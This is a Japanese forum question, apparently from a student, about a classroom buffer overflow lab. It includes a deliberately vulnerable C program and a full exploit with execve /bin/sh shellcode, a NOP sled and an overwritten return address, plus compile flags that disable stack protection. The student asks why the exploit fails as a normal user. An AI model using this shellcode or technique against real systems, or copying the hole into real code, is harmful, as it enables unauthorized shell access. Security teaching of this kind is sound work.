以下は私のコードで、脆弱なプログラム(stack.c)とエクスプロイト(exploit.c)の両方です。このコードは、教授がWindowsユーザーに送信したパッケージ済みのUbuntu 9で機能します(友人に彼のコンピューターでテストしてもらいました)が、iMacで実行しているUbuntu 12では、これを実行しようとするとsegfaultsが発生します通常のユーザーで。
ここにスタックがあります:
//stack.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
と悪用:
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char code[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(code);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
//----------------------BEGIN FILL BUFFER----------------------\\
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
*(a_ptr++) = ret;
for(i = 486;i < codeSize + 486;++i)
buffer[i] = code[i-486];
buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
これらをUbuntu12内でコンパイルするために、私は以下を使用しました。
gcc -o stack -fno-stack-protector -g -z execstack stack.c
gcc -o exploit exploit.c
繰り返しになりますが、通常のユーザーではなく、rootユーザーで機能します。
とにかく、これは深夜に予定されており、私はこの制限で残りの割り当てをやり遂げましたが、誰かが提案を持っている場合は、むしろ適切に完了したいと思います。タオルを投げる前に専門家を呼ぶと思った。このコードが通常のユーザーでは機能しないのに(古いバージョンのubuntuでは機能するはずです)、rootユーザーでは機能する理由を調べています。通常のユーザーでもこれを機能させるには、何を変更する必要がありますか。